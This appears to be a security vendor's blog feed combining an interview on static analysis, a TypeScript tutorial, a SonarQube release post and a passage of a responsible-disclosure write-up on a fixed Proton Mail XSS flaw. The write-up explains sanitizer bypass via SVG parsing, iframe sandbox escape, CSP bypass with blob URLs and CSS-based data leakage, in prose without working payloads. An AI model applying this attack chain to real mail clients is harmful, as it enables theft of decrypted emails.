In this article, we explained how an innocent-looking mistake in the code could significantly impact the security of an application. We showed how we found and exploited a Cross-Site Scripting vulnerability in Skiff, a popular end-to-end encrypted webmail service.

We also discussed how the flaw was fixed and how to avoid such problems in your code. Remember to use client-side sanitization with a state-of-the-art sanitizer, and don't modify or re-parse HTML after it has been sanitized.

Kudos to the Skiff team for handling our report fast and professionally. They fixed the vulnerability in two days, proving they care greatly about their product's security!

Next Wednesday, we will complete our 3-part series with a blog post on Tutanota Desktop, where we found an XSS issue that leads to Remote Code Execution. If you don't want to miss it, follow us on Twitter or Mastodon!
Related Blog Posts
Part 1: Code Vulnerabilities Leak Emails in Proton Mail
Zimbra 8.8.15 - Webmail Compromise via Email
Zimbra Email - Stealing Clear-Text Credentials via Memcache injection
Horde Webmail - Remote Code Execution via Email
RainLoop Webmail - Emails at Risk due to Code Flaw


Security Guy TV Interview - Going Deeper with SAST and Clean Code 
Katie Hyman — Fri, 08 Sep 2023 04:00:00 GMT
Watch the video
Our co-founder and CEO, Olivier Gaudin, and our Head of Research and Development, Johannes Dahse, met with Security Guy TV’s Chuck Harold during Black Hat USA 2023 to discuss Sonar’s announcement of deeper SAST and the importance of Clean Code. 

CHUCK: Hi everybody, welcome back to Black Hat USA 2023. This is episode 2988. My next guests – Mr. Olivier Gaudin, he’s the CEO, and Johannes Dahse, he’s the Head of Research and Development for sonarsource.com. Welcome gentleman, welcome to the show.

JOHANNES: Thanks, Chuck. 
Sonar deeper SAST - Advanced detection analysis
CHUCK: Now today's topic, discovering hidden security issues in code with Sonar deeper SAST. Great conversation, a lot to learn about this. You guys recently announced a powerful deep analysis to find hidden security issues in code on August 2nd. It’s referred to as deeper SAST. Its new advanced detection and it addresses the issues that traditional SAST tools miss. We’re gonna talk about that today. Let's start by asking what is unique about deeper SAST. 

JOHANNES: We think, all kinds of issues in code, right, that could make your codebase unhealthy, and security issues are one important part of the issues we detect. And the challenge for security issues is typically that they can be everywhere in your codebase. And when we mean everywhere in your codebase, we are talking about issues that can be a combination of multiple code pieces, and those code pieces can also be in dependency code. And traditionally what happens in the market is that we scan code only for the codebase of the developers, what they coded. But every software project includes many, many dependencies and now we are able to also find security issues that come from an interaction with this dependency code. 

CHUCK: Now, this sounds a little different to me. So, what is Sonar doing differently than others in the market for this space?

OLIVIER: Yeah, I think if you think about the way that other vendors have looked at this so far there is a clear separation between the code that you write and the code that other people write. And the code that you write has traditionally been, okay, we must analyze this code to see whether there are any flow issues, whether anybody can input data in the application and it wouldn't be sanitized. And when it comes to dependency, the approach of the market has been to kind of go through to go through the various dependencies and various libraries and review manually whether there is an issue or not. And these two worlds, they exist, but they exist separately. What we think at SonarSource is that, at the end of the day, whether you write code or whether somebody else writes code, this is code, and it deserves to be analyzed holistically by a tool. And this is really what we do with what we call deeper SAST which is, we actually look at the code that you write, we add up the code of libraries and then we analyze the whole thing and we find issues that we weren't able to find by looking at our own code or by looking at the database of vulnerabilities. Does that clarify?

CHUCK: Yeah, it does. It makes sense to me. Now, I started doing this a long time ago, like nine years ago. I’m really self-educated in cybersecurity. What I learned was that most code is open source. I think back in the day it was as much as 80% of code was taken from open source. Is that still the case? Are we still at a high appearance of open source coding and how do you, or do you address that the same way? I mean like you said, code is code. I think that’s a brilliant way to say it. 

JOHANNES: So I think today it's over 90% of software using dependencies. Developers don't want to write every code feature again. They want to spare the rework and reuse this existing open-source code, right? And the problem with that is that developers really don't know what is in this open-source code. They don't have the time to verify the code that they are using, and whenever they use and interact with a piece of code and dependency code, this can lead to a critical vulnerability. This doesn't mean that every dependency is vulnerable or whenever you do that, your code becomes vulnerable. But every once in a while when you combine your code in a unique combination with a piece of code of a dependency, it can create a critical security vulnerability and that is exactly what we can detect now with deeper SAST. 
Defining Clean Code 
CHUCK: Now let's define Clean Code. I think that definition may have changed over the years, that's what it sounds like to me. Remember how we used to say “this is in real time” and 10 years ago, real-time meant a day. And now, real-time is closer to real-time. Does Clean Code mean something different than it did 10 years ago?

OLIVIER: I don't think it does but I think we have now come up with a much better definition. So, the way we define Clean Code is really code that is consistent. Which is, if you want a team to look after the code, you have to have consistency in terms of style but also in terms of how do we solve certain problems, about code constructions. So the whole code should be consistent. The second thing is the code should be intentional which means any logical error, anything that is not being used, any information, any user input that is not sanitized, any resource that is not released after being used, is not considered as being intentional and should be fixed. But we also need the code to be adaptable. Which is we need the code to be changeable, basically. Which is, if you, if we can not change the code anymore, we cannot consider that we are writing software anymore. It is something else but you cannot call it soft. So, we need to make sure that the code keeps the flexibility, to be changed. And finally, the code should be responsible which means we shouldn't steal code to build software, we should not hard code passwords, etc., so there are a whole set of things that need to be looked after to keep the code responsible. And this is how we define Clean Code which is consistent, intentional, adaptable, and responsible. 
Deeper SAST - a Part of Achieving Clean Code
CHUCK: So I come from a physical security environment, that's where I started. I was a police officer and worked at the studios and I had my first computer in 1984, maybe even before both of you guys were born, possibly. So, I see this progression of cybersecurity as coming from, here’s the internet with basically no passwords, to now we have all these security issues, right? I've always thought of it as basically, as a state of cyber hygiene. We should do better at that and I'm looking at what you do as a state of cyber hygiene, keeping Code Clean. That’s kind of how I picture it in my head if that makes sense. So, how does deeper SAST, how does it support organizations in achieving this state of Clean Code? And it is a state, right? It’s like a state of readiness. You always have to be prepared to have something launched into your application or your time to market, and if it's not clean and you're not ready to go, you're not ready. 

JOHANNES: I think deeper SAST is one part of what it needs to have Clean Code, right? So, in the end, we want to find all kinds of issues that make your code unclean you could say, and security is one important part. We find all kinds of code causes. But the consequence for security issues is dramatic sometimes for organizations, right? And so what Olivier mentioned is the intentional part, this is really where, if you use code pieces of dependencies, you should be very intentional about what you are doing. And often the developer doesn't have time to really figure out what every piece of code from a dependency is doing, so we make sure it is intentionally used and securely used to achieve a state of Clean Code in your codebase.

CHUCK: Now, you said something interesting to me — there's other issues with the code. You know, could be a programming error or something. Do you find that most of the issues are a combination of regular programming errors and a lack of secure coding? Do they lean one side or the other? 

JOHANNES: I think they can be all very interconnected and that's why we also believe Clean Code is so important. If you look at what Olivier just mentioned, let’s say consistent or adaptable code, you cannot really fix your security problems. What we keep on talking about here in the security industry, you cannot continue fixing your problems if you have unmaintainable code for example. Or another example is, if you have buggy code then it can lead to crashes, but those crashes can also lead to security problems and that’s why we believe that all those different pillars of Clean Code are very interconnected and very important to address collectively, so you don't have security problems. 
Sonar’s Differentiation 
CHUCK: Now, I got to say fellas, I've done a lot of shows, over 3,000 technically. Sonar sounds different to me. Am I hearing that correctly? Sounds like you do something different than most people and to me, frankly, it sounds more thorough. Is that a good way to describe it?

OLIVIER: We have been developing the product based on engineering needs starting from our own needs. But, also, we have a super large community. So I think one of the things that is remarkable at SonarSource is how aligned we are with our market which is, it’s not like sometimes we are a little bit early and then our community catches up, and then they drive it into a certain direction… So if it feels very authentic as a product, it's probably because of this. 

OLIVIER: I just want to come back on one thing you said earlier, which to me is very, very right. You talked about hygiene, and I think this is really what it comes down to which is if you don't, if you don’t have a good hygiene with your code, at the end of the day, your software is not going to be an asset. It’s going to be a liability. Because your code becomes a liability, your software is going to become a liability. So we are really trying to address this at the engineering level, which is this all, this hygiene should happen during the development phase. It shouldn't happen afterward. Afterwards, you want to really go for like, complex problems, threat modeling, etc. The security team should focus all their time, expertise, and energy onto this more complex problem. Not running analysis tools to see whether an okay job was done during the development phase, if that makes sense. 
Impact of AI on Code
CHUCK: It does make sense. You know, and our new challenge is AI, ChatGPT. I’m not picking on ChatGPT, but let’s just use that as the example. Do you find that this advanced AI now is going to cause new challenges in your side of the industry? Is it going to help; Is it going to hinder?

OLIVIER: I mean, I think for SonarSource, I would say it’s a real opportunity. For the industry, I think it can be a challenge indeed. And at the end of the day, I think with AI, generative AI, what we are going to see is that more code is being written. Whether it’s because developers become more productive or whether it's because people who are not developers are able to write applications, at the end of the day, there will be more code. And that code is not going to be clean for sure. Some of it may be locally clean, but overall, this code is going to have to be reviewed and I think this is where, for us, it's a great opportunity. 

CHUCK: Excellent conversation my friends. So glad you came on the show. Olivier Gaudin and Johannes Dahse, sonarsource.com at Black Hat USA 2023. Good luck to you guys and hopefully I’ll see you in person next year. Going to try and make it back in person for the show. Thanks for coming on Security Guy TV.

OLIVIER: Thank you.
JOHANNES: Great, thanks, Chuck.
Related Blog Posts
What is deeper SAST in JavaScript?
Uncovering hidden security vulnerabilities with deeper SAST




Get the benefits of TypeScript in your JavaScript
Phil Nash — Thu, 07 Sep 2023 07:00:00 GMT
When we write applications in TypeScript instead of JavaScript, it is evident that we benefit from type safety, saving us from potential bugs.

However, you might have a good reason to refrain from writing your project in TypeScript. For example, migrating an existing JavaScript project might be too much effort. You can still get many of the benefits of TypeScript, though. You might not realise that the more TypeScript knows about your code, even if it's JavaScript, the better your tooling gets.

In this article, we'll dive into what you can do to get more and more of TypeScript's benefits in your JavaScript projects.
The benefits
The main thing TypeScript can do for our JavaScript code is highlight unexpected behaviour. TypeScript infers types across a code base, meaning it can spot when you might, for example, call a string method on a number.
const a = 1;
console.log(a.toUppercase());
This example may be trivial, but JavaScript will let you write and run that code, eventually discovering that you've caused a runtime error. The TypeScript compiler can analyse that JavaScript, tell you that numbers don't have a function called toUppercase, and help you catch the bug earlier. However, we need to do some work in our JavaScript project to benefit from this analysis.
Tooling
Before we make any changes to a JavaScript project, it's important to know that TypeScript is already helping your tooling understand your projects better. For example, the TypeScript language service powers VS Code's Intellisense for JavaScript, giving you better auto-complete, and, under certain circumstances, the Sonar scanner will use the TypeScript compiler to understand your JavaScript projects better when analysing them.
Get more out of JavaScript
So, TypeScript is already helping our tooling understand JavaScript better, but what can we do to help TypeScript even more? How can we benefit from TypeScript's type inference, highlight runtime bugs, and get even more out of our tools?

There are a few approaches you can take, some at an individual level and some at a project level, where you will need to get your whole team on board.
Pair program with TypeScript
The easiest way to get more insight from TypeScript is to configure your editor to use TypeScript to analyse the JavaScript you are writing. The following instructions are for VS Code, which has the strongest support for TypeScript. Other editors, like WebStorm, need a tsconfig.json file defined before they will highlight TypeScript issues in your JavaScript, and we will cover those in the following section.
It just takes a comment
VS Code makes this very easy. In any JavaScript file you are writing, add the comment // @ts-check to the top, and TypeScript will analyse the contents, letting you know with red squiggly lines where things seem out of place. Here, you can see the difference in our original code snippet:
Immediately, you can see that TypeScript has more to offer. It's just waiting for you to give it permission.

Enabling TypeScript checking via a comment is a good way to get a taste of what it offers. The drawbacks are that it only analyses files individually and only when you remember to add the comment. Also, if the rest of your team isn't currently interested in TypeScript, leaving TypeScript-specific comments in files might not go down well.
Flick on the TypeScript switch
VS Code also allows you to turn on TypeScript checking for all JavaScript without changing the source code. Open up the settings and search for Check JS. You will find the setting JS/TS › Implicit Project Config: Check JS.

Enable this setting for the workspace and VS Code will use TypeScript to type-check all the open files in the project. Enable the setting at the user level and VS Code will use TypeScript to check all your projects as you work on them.

I recommend working with the Check JS setting activated. It will teach you things about your JavaScript as you write and maintain it.
SonarLint is another tool you can use in your editor to highlight issues in your JavaScript as you type. Using TypeScript and SonarLint alongside each other in your editor can help you learn as you code.

With Check JS activated in your editor, you can work to reduce issues that the TypeScript compiler discovers without worrying about adding config to your application. Also, if it turns out that the TypeScript compiler raises a bunch of issues, they are only visible in your editor and won't break your build.

If you and your team try using TypeScript like this and find it beneficial, you might consider taking the next step and introducing TypeScript directly into your project.
Add TypeScript to your JavaScript project
Introducing TypeScript to your project means that TypeScript becomes a tool that your whole team can use. You can make it part of your build and test process to ensure that the JavaScript you write satisfies TypeScript's constraints, and later, you can even start to add more types, all without changing a single file type to .ts.

Start by installing TypeScript as a development dependency.
npm install typescript --save-dev
Create a tsconfig.json file. I find it easiest to use the TypeScript executable to start this off. Run this command:
npx tsc --init
Open up the newly generated tsconfig.json file. The default settings here are good when you start a new TypeScript project, but we need to change some options to handle a JavaScript project. Update your tsconfig.json to this:
{
  "compilerOptions": {
    "allowJs": true,
    "checkJs": true,
    "noEmit": true,
    "esModuleInterop": true,
    "forceConsistentCasingInFileNames": true,
    "strict": false,
    "skipLibCheck": true
  }
}
Important settings include allowJS and checkJS. When true, these permit JavaScript to be part of a TypeScript application and then apply type checking to JavaScript files. The checkJS setting is the equivalent of enabling Check JS in your VS Code settings.

Notably, having a tsconfig.json file with these settings overrides the VS Code settings and enables TypeScript checking in other editors.

I have also included the setting noEmit because, at this stage, we are not trying to compile our JavaScript; we just want to type-check it. noEmit: true means that the TypeScript compiler won't try to output anything; it will just report on the JavaScript it reads.

We set strict to false for now; getting JavaScript code to adhere to TypeScript's strict mode is quite difficult.

Add a script to your package.json to run the type checker:
"scripts": {
  "type-check": "tsc"
}
Now you can run npm run type-check and see the results.
Fix missing types
As you haven't been using TypeScript in this project, you will probably have some things to fix. First, if you are working with Node.js then you will need to add TypeScript types for Node.js. This is as easy as running:
npm install @types/node --save-dev
Definitely Typed is a community effort to provide types for modules that don't provide their own, and it is very comprehensive. If Definitely Typed has a type for your module, you can install it in your project from the @types scope.

As an optional addition, you can add types for packages you use that don't provide types themselves from Definitely Typed. If you don't install the types, TypeScript will consider imports from packages as an any type.

The any type is TypeScript's catch-all type. It lets the program compile but doesn't give you any further information about the objects you are using. When you add or define types for these packages, TypeScript can then help with autocomplete and highlighting potential issues. I'd recommend installing the types for your dependencies as you come to work on the parts of the source code that use them.

If the types provided aren't correct, there's a great post on Microsoft's TypeScript blog on how to fix them.
Fix your code
Next, you might find TypeScript is reporting some errors in your code. This is what we want!

Any issue raised is a potential runtime bug in your application that TypeScript has now detected. You can see these errors in your editor or when you run the type-check script. Fixing these errors will improve the reliability of your application. Now TypeScript is part of your project, no further issues like this should slip through.
Add to the build process
Once the type-checking process returns successfully, you may want to add the check to your build process. This will ensure that your code base stays as type-safe as it can be for a JavaScript project.

How you achieve this depends on your existing testing and build process. One option is to run the type-checking process as part of your test suite.
"scripts": {
  "type-check": "tsc",
  "test": "node --test && npm run type-check"
}
TypeScript can help you write better JavaScript
As we've seen in this post, you don't have to move your project from JavaScript to TypeScript to get the benefits; you can just get the TypeScript compiler to help. Both the Webpack and Svelte projects organise themselves like this. Check out their source code, JavaScript files for code and TypeScript declaration files for the types.

Once you've got to this stage, you might want to make your JavaScript even more safe by adding further types. You can still achieve this without converting the project to TypeScript. Check out this post on typing JavaScript with JSDoc and TypeScript declaration files for more.

Letting TypeScript analyse your code, either in your editor or as part of your project, gives you, and other tools like SonarLint or SonarQube, more insight into how types flow around your application. It can help you write cleaner, more intentional code and lead to more reliable applications.




Introducing SonarQube 10.2: Setting New Standards in Code Quality and Security
Bianka Banova — Wed, 06 Sep 2023 13:00:00 GMT
In the ever-changing software development landscape, keeping your tools up-to-date is non-negotiable. This new release of SonarQube delivers targeted enhancements that directly impact code quality, security, and operational workflows. This post will provide a deep dive into the latest features and enhancements of SonarQube 10.2. 
Announcing  MISRA C++ 2023 Support
With the rising demand for more secure coding practices, particularly in mission-critical applications, SonarQube 10.2 brings in a game-changing feature: support for the new MISRA C++ 2023 rules. This update adds 43 rules, meticulously aligned with industry safety standards. These rules are not mere additions but are seamlessly integrated into our "Mission Critical" Quality Profile. 

For organizations operating in regulated industries or deploying mission-critical applications, the benefits are manifold. This new support will enhance the security robustness of your codebase and build higher stakeholder confidence by achieving a comprehensive level of safety compliance.
SonarQube Security Enhancements
Security Analysis Now Integrated into GitLab Dashboards
SonarQube 10.2 extends its security reach into GitLab dashboards. This native visibility means that when SonarQube identifies a vulnerability, it is automatically reflected in your GitLab vulnerability report. This synchronization serves as a strategic advantage for organizations that leverage GitLab in their DevOps workflows. By providing a unified view of code health across platforms, it empowers both developers and security teams to more effectively identify, manage, and remediate security vulnerabilities. The result is an optimized workflow that significantly minimizes the time interval between code commit and deployment.
Enhanced Cloud Secrets Detection
To further amplify your organization's security measures, SonarQube 10.2 has expanded its cloud secrets detection feature. Now supporting 29 cloud services and capable of identifying a comprehensive range of more than 60 secrets and tokens, this addition fortifies your codebase against vulnerabilities and assists in fulfilling compliance requirements.
Detect Security Misconfigurations in Microsoft Bicep-Generated ARM Templates
Cloud infrastructure security is as crucial as application security. SonarQube’s ability to identify security misconfigurations in Azure Resource Manager (ARM) templates generated via Microsoft Bicep adds an extra layer of security to your Azure deployments, thereby making them more resilient against potential vulnerabilities.
Advanced Support for PHP Super-Global Arrays
The efficacy of code analysis in PHP development is no small matter. With this in mind, SonarQube 10.2 introduces improved support for PHP super-global arrays. This feature fine-tunes the precision of our PHP analysis algorithms, thereby reducing false negatives. 

For developers, this translates into more accurate, actionable code assessments. Meanwhile, security teams gain an added layer of confidence in the integrity of the code. This accuracy eliminates the need for exhaustive manual audits, thereby accelerating the development pipeline.
Streamlined Permission Synchronization from GitHub
Administrative agility is integral to efficient project management. With SonarQube 10.2, you can synchronize project permissions directly from GitHub, thereby eliminating the need for manual configurations or custom automation scripts (yes, you are welcome admins!).

This streamlining significantly simplifies the process of project permission management, allowing organizations to focus more on development and less on administrative tasks.
Operational Improvements
Minimizing Reindexing Disruptions Post-Upgrade
Recognizing that smooth operational transitions are essential, SonarQube 10.2 introduces an upgrade feature that minimizes reindexing disruptions. This means that as soon as the SonarQube UI is available post-upgrade, developers, and administrators can continue their tasks without missing a beat. The optimized reindexing process minimizes workflow interruptions and downtime, thus maintaining organizational productivity and ensuring that deadlines are met.
Enhancing Developer Efficiency and Knowledge Through Learn as You Code (LaYC)
With SonarQube 10.2, we continue our commitment to improving both the efficiency and educational aspects of the software development process by introducing the Learn as You Code (LaYC) feature. Integrated within Level 1 rules, LaYC provides immediate and contextually relevant guidance when a code issue emerges. The feature directs you to a specialized 'How Do I Fix This' section, equipped with framework-specific sample code to expedite issue resolution. 

In addition to facilitating quick fixes, LaYC offers the option to explore comprehensive explanations and industry best practices. This approach not only minimizes the time spent on issue rectification but also serves as a resource for skill enhancement, thus elevating the expertise of both individual developers and development teams as a whole.
Additional Innovations
Flexible Main Branch Designation
Changing your project's main branch is now a seamless affair with SonarQube 10.2. This flexibility benefits teams not relying on DevOps platforms for project onboarding, as it allows administrators to effortlessly pivot the project’s focus without losing any historical data.
Enhanced Synchronization between SonarLint and SonarQube
SonarQube 10.2 takes code analysis a step further by enhancing synchronization features between SonarLint and SonarQube. Developers now have the power to mute issues directly within their IDE via SonarLint, thus streamlining the review process by preventing these tagged issues from reappearing in future analyses.
Introducing the new Clean Code Taxonomy 

Enhance the quality and security of your code with the integration of the new Clean Code taxonomy within SonarQube. The taxonomy consists of the Clean Code attributes which are consistent, intentional, adaptable, and responsible. When code meets the attributes, it is Clean Code, which results in the qualities that software should have to be successful.

This update aims to highlight more clearly what’s happening in your code, facilitating more decisive action for both individuals and teams.

As a developer, you'll find each issue classified not only by its severity—now represented as Low, Medium, or High based on software qualities—but also by the Clean Code attributes. Please note that the old taxonomy will gradually be phased out. Processes and integrations based on the old taxonomy will not be disrupted as compatibility is preserved and will be removed at a later date.

For team leads, this enriched information becomes a powerful tool for prioritizing issues and guiding your team's efforts toward improving code quality and security. You can now evaluate issues not just on their immediate impact, but also on how they align with broader Clean Code principles.

This is the first in a series of updates aimed at aligning our interface and categorizations with the new Clean Code taxonomy, offering you a more detailed and meaningful understanding of how to effectively achieve Clean Code and drive impactful software.
Several Language Updates
Every release of SonarQube comes with a range of language enhancements, designed to elevate your coding experience. The updates for SonarQube 10.2 not only aim to streamline your development workflow but also to fortify code quality and security across multiple programming languages. 

Python:
Faster incremental analysis for Python
Generate stubs for known typed Python libraries available on PyPI
Added valuable Core Python rules


Java/Kotlin:
Support of Gradle Kotlin DSL + 7 dedicated rules for writing well-architected and easily maintainable Java code
PHP
Faster incremental analysis for PHP 

IaC
Improved support of Azure Resource Manager (ARM)
Detect security misconfiguration on Microsoft Bicep

.NET 
Set of 9 new rules for DateTime
Almost all developers use date and times in their applications and their misuse is one of the most common bugs particularly when timezones are involved. 

AcuCOBOL

Improved support for AcuCOBOL 
Parser and Preprocessor improvements
Next Steps
SonarQube 10.2 represents an advancement in simplifying, securing, and accelerating your code quality journey. To fully capitalize on these cutting-edge features, we warmly invite you to download SonarQube 10.2 and share your invaluable feedback with us.
Related Blog Posts
SonarQube 10.1 release announcement 
Announcing SonarQube 10.0  
Announcing SonarQube 9.9 LTS!





Code Vulnerabilities Put Proton Mails at Risk
Paul Gerste — Mon, 04 Sep 2023 22:00:00 GMT
Key Information
In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.
These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted, mobile clients were not affected.
The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.
Nearly 70 million users were at risk on Proton Mail alone.
Thanks to our report, the issue has been fixed and there are no signs of in-the-wild exploitation.
Introduction
End-to-end encrypted communication is simply a feel-good thing for most people, but there are also high-risk users such as whistleblowers, journalists, or activists who seriously depend on confidential communication. We're seeing regular in-the-wild campaigns targeting mail servers, for example on Zimbra instances, as tracked by the US Cybersecurity and Infrastructure Security Agency (CISA).

Many messenger services have already switched to end-to-end encryption (E2EE) to protect messages in transit and at rest, but it is still rare among email services. While PGP and S/MIME do exist, they are usually cumbersome to set up and use, even for tech-savvy users. That's why many people turn to privacy-oriented webmail services like Proton Mail, Skiff, and Tutanota that make E2EE available out-of-the-box and easy to use.

This led us to audit the security of these services, specifically their web clients. While the cryptography seems solid, we wanted to know if it is possible to attack the clients directly. Since the encryption happens in the web client, a successful attacker would be able to steal emails in their decrypted form.

In this blog post, we first present the technical details of the vulnerabilities we found in Proton Mail. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails and impersonate victims.

As part of a 3-post series, we will cover other severe vulnerabilities we found in Skiff and Tutanota Desktop in the coming weeks. Those vulnerabilities could have been used by attackers to steal emails, and in one case even execute arbitrary code on the machines of victims. 

The content of this blog post series was also presented as a talk at Black Hat Asia 2023; the video recording is available here.
Impact
The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Proton Mail. This issue allowed attackers to steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.

Attackers have to send two emails, both of which have to be viewed by the victim. In some scenarios, the attack would succeed if the victim only viewed the emails. However, most scenarios require the victim to click on a link in the second email.

We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed shortly after. The following proof-of-concept shows how the vulnerability could have been exploited by attackers:
Watch the video
Technical Details
Dealing with user-controlled HTML in a web application always opens up the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like <script> may have unwanted effects and compromise the security of the reader. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.

It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker is able to execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.

To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most of them use state-of-the-art HTML sanitizers, such as DOMPurify, to get rid of any malicious HTML. This is a very good first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.

In the following sections, we will explain the code vulnerability we found in Proton Mail. We will also highlight the importance of modern web defense mechanisms, how they make attackers' lives harder, and how they can still be bypassed when the right conditions align. Finally, we examine how these issues were fixed, and how to avoid such vulnerabilities in your own code.

Buckle up for a story about parser differentials, sandbox bypasses, and CSS data exfiltration!
Proton Mail
Proton Mail is probably the most popular privacy-oriented webmail service with nearly 70 million users in 2022. They use the state-of-the-art HTML sanitizer DOMPurify to avoid XSS when rendering incoming emails, and they also employ further defenses that aim to make exploitation harder in case the sanitizer fails.

When auditing the email HTML sanitization logic, we noticed the following code snippet that runs on the already-sanitized data. It looks innocent at first sight but contains a critical flaw:
packages/shared/lib/sanitize/purify.ts:
const LIST_PROTON_TAG = ['svg'];
// [...]
const sanitizeElements = (document: Element) => {
    LIST_PROTON_TAG.forEach((tagName) => {
        const svgs = document.querySelectorAll(tagName);
        svgs.forEach((element) => {
            const newElement = element.ownerDocument.createElement(`proton-${tagName}`);
            // [...]
            element.parentElement?.replaceChild(newElement, element);
        });
    });
};
This code is intended to replace <svg> elements in an email with <proton-svg> ones. It does so by creating a new element, moving all children, and then replacing the old element. Since the content or attributes of those elements are not modified, how could this be security-relevant? To understand this, we first need to learn about Foreign Content in HTML.
An HTML Sanitizer's Nightmare: Foreign Content
HTML has its own parsing rules, and it can contain things with different parsing rules, such as MathML and SVG. These look similar to HTML, as they are also derived from XML, but there are some key differences in how they have to be parsed that are important for a sanitizer to know.

One example of differences between HTML and SVG is the <style> element. In HTML, this element contains raw text until the next closing </style> tag. In SVG, it instead contains child elements. When a sanitizer runs with the wrong context in mind, it would likely make the wrong decisions.

This is exactly what happened in the case of Proton Mail. The sanitizer first sees an SVG element and sanitizes its children with the SVG context in mind. After that, the outer <svg> tag is renamed to <proton-svg>. Since this is not a standard HTML or SVG tag, it falls back into the HTML context. This causes the browser to parse the result differently than during the sanitization!

Attackers could abuse this parser differential with the following payload:
The sanitizer will correctly recognize the SVG context and parse the content of the <style> element as an <a> element. The byte sequence </style> is hidden inside the alt tag of the <a> element and does not close the <style> element. Since the <img> tag is also hidden inside the attribute, the sanitizer does not remove the onerror event handler.

When renaming the <svg> element to <proton-svg>, the parsing result looks like this:
Since the <proton-svg> element belongs to the HTML context, as explained earlier, the parsing rules for the <style> element changed. Its content is now parsed as raw text and the very first occurrence of the byte sequence </style> terminates the element. This causes the <img> element to appear, which in turn executes the onerror handler during rendering. The sanitizer is bypassed!

Fortunately, this does not directly allow attackers to execute arbitrary JavaScript (yet). Proton Mail has multiple lines of defense with the sanitizer just being the first one.
Second Line of Defense: Iframe Sandbox
The next protection is an <iframe> element with a sandbox attribute. After sanitizing an email's HTML, the result is not directly inserted into the DOM of the Proton Mail page itself but into the DOM of an iframe. This has the first effect that things like CSS styles in the email don't have an effect on Proton Mail's UI. This makes the content of the iframe (marked in red) isolated from the rest of the page:
Another benefit is the ability to restrict what the page inside the iframe can do by providing an allowlist in the sandbox attribute. In the case of Proton Mail, the iframe sandbox has the following directives:
allow-same-origin
allow-popups
allow-popups-to-escape-sandbox

The first one allows the embedding page to be able to insert HTML into the iframe, but it also enables the reverse way. The second directive allows popups and new tabs to open; for example, when a user clicks on a link. The third directive allows the newly opened page to not be restricted by the iframe sandbox because the sandbox would usually be inherited by the new page.

However, Proton Mail adds a fourth directive when opened in the Safari browser. In this case, the allow-scripts directive is added to the allowlist, which means an attacker does not need to bypass the sandbox at all because they can just execute JavaScript and access the top frame.

For all other browsers, the attacker has to convince the victim to click on a link that opens in a new tab, therefore escaping the sandbox and being able to access the opener's parent frame:
Third Line of Defense: Content Security Policy
The final defense mechanism is Proton Mail's Content Security Policy (CSP). It restricts the origins from where all kinds of resources can be loaded, including scripts, images, and styles. The important CSP directives, in this case, are:
default-src 'self'
style-src 'unsafe-inline'
img-src https:
script-src blob:

The first directive acts as a fallback and only allows resources to come from the origin that the page was loaded from unless specified otherwise. The next two directives allow inline CSS styles and images that are loaded via HTTPS which is normal for HTML emails. The last directive allows scripts to be loaded from blob: URLs. This is pretty unusual and will be the key to bypassing the CSP.

Let's take a quick look at what blob URLs are. They are temporary URLs that can be dynamically created by any page and they look like this:
blob:https://mail.proton.me/8c2a19fa-8dcd-44d1-807c-1c65abef0251

After the blob: schema, it starts with the origin of the page that created it while the path of the URL is a random UUID. To create a blob URL, the page has to specify the content type and content that will be returned when the browser tries to fetch it. Pages can either actively revoke blob URLs, but they also get revoked when a page is closed or reloaded.
Crafting Arbitrary Blob URLs
In the case of Proton Mail, blob URLs are used to render inline attachments, such as images. In general, such attachments each have their own Content-ID header with a value that uniquely identifies them in the context of the email. Those attachments can then be referenced using cid: URLs, for example in the src attribute of <img> tags.

When an email contains image tags with such a cid: source, Proton Mail will look for an attachment that has a matching Content-ID header. A blob URL will be created with the attachment's data and content type, and the image's src attribute will be replaced with the newly created blob URL.

We noticed that Proton Mail allows arbitrary content types and content for inline attachments. This would allow an attacker to send a JavaScript attachment instead of an image and reference it as an <img> element's source, triggering the creation of a blob URL that contains JavaScript and has the application/javascript content type.

This inline image-loading mechanism can be abused by attackers to craft arbitrary blob URLs and load them as scripts to bypass the CSP. The only challenge left is how to take the created blob URL from an image tag's src attribute and use it as a script tag's src attribute.
Leaking a Blob URL
This is where the inline styles and remote images that the CSP allows come into play. There has been previous work on how to leak data, such as attribute values and text, from the DOM via CSS. One such method, discovered by Pepe Vila and Nathanial Lattimer, uses recursive CSS @import statements. Unfortunately, this and other techniques don't apply here because the CSP does not allow styles or fonts to be loaded from remote servers.

Since the value that needs to be leaked is a blob URL, we can make a few assumptions that simplify the process. Since the origin is always https://mail.proton.me, the beginning of the URL is known to be blob:https://mail.proton.me/. This only leaves the UUID, consisting of hexadecimal characters and dashes, reducing the possibilities per character to 17.

For the @import leak technique, the CSS attribute prefix selector is used to leak an attribute value incrementally. Since the CSP blocks remote CSS imports, taking this incremental approach is impossible. One alternative would be to create selectors for all possible attribute values, but this is not feasible due to the number of possible values being 2¹²².

However, there is also another CSS attribute selector that can be helpful; the "contains" operator. It can be used to check if an attribute value contains a certain substring. With this, we can create a similar technique to the @import leak, but instead of taking an incremental approach, we leak multiple parts in parallel.
Splitting the URL Into Smaller Chunks
To do this, we have to split the value we want to leak into smaller chunks that have fewer possible values. In our case, we will not leak a whole UUID at once but instead leak all 3-character substrings in parallel. We first calculate all valid 3-character substrings of a UUID, starting with 000, over 0-0, up until fff. We then create a CSS selector for each of them that will tell us if this substring is included in the current UUID we want to leak. When the CSS selector matches, we request a background image from the attacker server with a unique URL.

Here's an example of how a blob URL would be split into its overlapping, 3-character chunks:
